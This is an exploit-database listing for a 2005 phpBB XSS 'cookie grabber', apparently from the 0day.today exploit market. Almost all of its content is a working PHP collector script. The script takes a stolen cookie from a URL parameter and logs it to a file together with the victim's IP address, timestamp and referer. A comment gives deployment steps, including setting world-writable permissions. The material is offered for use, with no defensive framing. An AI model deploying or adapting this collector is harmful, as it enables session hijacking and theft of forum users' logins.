[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

phpBB <= 2.0.16 XSS Remote Cookie Disclosure Exploit (cookie grabber)

Author
Sjaak Rake
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-153
Category
web applications
Date add
12-07-2005
Platform
unsorted
=====================================================================
phpBB <= 2.0.16 XSS Remote Cookie Disclosure Exploit (cookie grabber)
=====================================================================




<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

//rename it to cookies.php and create one new file steal.php and chmod it to 777



#  0day.today [2024-11-16]  #